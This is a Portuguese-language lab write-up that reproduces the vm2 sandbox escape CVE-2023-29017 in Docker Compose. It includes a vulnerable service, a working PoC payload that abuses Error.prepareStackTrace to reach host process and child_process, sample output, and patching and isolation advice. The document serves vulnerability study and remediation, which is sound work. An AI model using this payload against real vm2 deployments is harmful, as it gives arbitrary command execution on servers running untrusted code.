
Node.js vm2 CVE-2023-29017 reprodução com Docker Compose e PoC
[WHS 4ª geração, 31ª turma] - Kim Geon-woo(@gunwoo105)
O vm2 é uma biblioteca de sandbox Node.js para executar JavaScript não confiável em um ambiente restrito. Em condições normais, o código dentro do sandbox não deve ter acesso a funcionalidades sensíveis do Node.js, como process, require, child_process e o sistema de arquivos do host.
No entanto, em vm2 3.9.14 e anteriores, quando ocorre um erro assíncrono não tratado, o objeto do host passado para Error.prepareStackTrace não é tratado com segurança. O atacante pode explorar a cadeia de construtores desse objeto para obter o construtor Function e o objeto process do contexto do host e, por fim, executar comandos do sistema operacional através de child_process.
Não usamos uma imagem vulnerável pronta; construímos a imagem diretamente a partir da imagem base oficial do Node.js e do código-fonte incluído no repositório. O Dockerfile verifica as versões do Node.js e vm2; se as versões não forem as esperadas, a construção falha.
RUN test "$(node --version)" = "v18.15.0" \
&& test "$(node -p "require('vm2/package.json').version")" = "3.9.14"
A razão para executar worker.js em um processo separado é que o PoC gera erros assíncronos não tratados. Mesmo que o worker termine durante o ataque, o servidor web continua em execução, e o arquivo marcador permite verificar de forma confiável se o ataque foi bem-sucedido.
As seguintes condições devem ser todas satisfeitas:
vm2 3.9.14 ou anterior.Nem todos os serviços que instalam vm2 estão automaticamente expostos a ataques remotos. Deve existir uma funcionalidade que execute código controlado pelo atacante no vm2. O endpoint /execute deste laboratório implementa esse caso de uso de forma mínima.
O fluxo do ataque é o seguinte:
Entrega de JavaScript malicioso
│
▼
Ocorrência de erro assíncrono não tratado
│
▼
Chamada a Error.prepareStackTrace
│
▼
Exposição do objeto frames do host
│
▼
Obtenção do construtor Function do host
│
▼
process → require → child_process
│
▼
Execução de comandos do SO dentro do contêiner
docker compose build --no-cache

docker compose up -d vulnerable
Verifique o estado do contêiner.
docker compose ps
curl -sS \
-w '\nHTTP_STATUS=%{http_code}\n' \
http://127.0.0.1:3000/health

docker compose run --rm poc
echo "exit_code=$?"
O PoC verifica automaticamente os seguintes itens:
/tmp/vm2-pwneduid=Para executar da construção até o PoC de uma só vez, use o seguinte comando:
docker compose up \
--build \
--abort-on-container-exit \
--exit-code-from poc
docker compose exec vulnerable sh -c '
echo "[Marker file]"
ls -l /tmp/vm2-pwned
echo
echo "[Command output]"
cat /tmp/vm2-pwned
'
docker compose down -v --rmi local --remove-orphans
O PoC completo está incluído em poc/poc.js. O payload principal é o seguinte:
Error.prepareStackTrace = (error, frames) => {
const hostProcess =
frames.constructor.constructor('return process')();
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
};
(async () => {}).constructor('return process')();
Error.prepareStackTraceError.prepareStackTrace = (error, frames) => {
O atacante redefine a função que é executada quando o stack trace de erro é gerado.
Function do hostframes.constructor.constructor
Segue a cadeia de construtores do objeto frames do host exposto pelo vm2 vulnerável para acessar o construtor Function do contexto do host.
process do hostframes.constructor.constructor('return process')();
Cria e executa uma função que retorna process do contexto do host.
hostProcess.mainModule
.require('child_process')
.execSync('id > /tmp/vm2-pwned');
Carrega o módulo child_process, não fornecido dentro do sandbox, e executa o comando Linux id.
(async () => {}).constructor('return process')();
Faz com que uma função assíncrona referencie process, que não está disponível no sandbox, criando uma Promise rejeitada e alcançando o caminho de processamento de stack trace vulnerável.
O JavaScript benigno, executado dentro do vm2, retorna 42, mas não gera evidência de execução de comandos do sistema operacional.
[2/4] Running benign JavaScript inside vm2
Normal JavaScript returned 42 without host command execution
Ao enviar o payload malicioso, ele escapa do sandbox vm2 e o comando id é executado dentro do contêiner com as permissões do processo Node.js vulnerável.
[3/4] Sending CVE-2023-29017 payload
Host command output: uid=1000(node) gid=1000(node) groups=1000(node)
O PoC verifica novamente a evidência armazenada e retorna o estado de sucesso.
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Verificando diretamente o arquivo de evidência, a seguinte saída é exibida:

O arquivo marcador é excluído antes de cada execução e não é criado durante a etapa de execução de código benigno. Isso evita falsos positivos causados por resultados de execuções anteriores.
Atualize para uma versão não afetada.
{
"dependencies": {
"vm2": "3.9.15"
}
}
Em seguida, atualize o lockfile e instale com dependências fixadas.
npm install --package-lock-only
npm ci
O advisory oficial afirma que não há workaround separado, portanto, não é recomendado continuar usando a versão vulnerável.
Não execute código não confiável no mesmo processo Node.js da aplicação. Isole-o em um processo separado, contêiner ou máquina virtual e descarte o ambiente após a execução.
no-new-privilegesAplique autenticação e autorização fortes à funcionalidade de execução de código e não opere APIs de execução de código arbitrário abertas a usuários não específicos. No entanto, a autenticação é uma medida auxiliar para reduzir a superfície de ataque, não um substituto para corrigir a vulnerabilidade em si.
| Componente | Versão e Configuração |
|---|
| Node.js | 18.15.0 |
| vm2 | 3.9.14 |
| Versão do patch | 3.9.15 |
| Ambiente de execução | Docker Compose |
| Usuário do contêiner | node |
| Porta do serviço | 127.0.0.1:3000 |
| Instalação de pacotes | npm ci + package-lock.json |
| Arquivo | Função |
|---|
docker-compose.yml | Define a configuração dos contêineres de serviço vulnerável e PoC e a ordem de execução |
Dockerfile | Constrói as imagens do serviço vulnerável e PoC usando multi-stage |
vulnerable/src/server.js | Fornece endpoints /health, /execute, /evidence |
vulnerable/src/worker.js | Executa a entrada do usuário no vm2 em um processo separado |
poc/poc.js | Automatiza a verificação de versão, controle benigno, ataque e confirmação de evidências |
vulnerable/package-lock.json | Fixa versões de pacotes, incluindo dependências transitivas |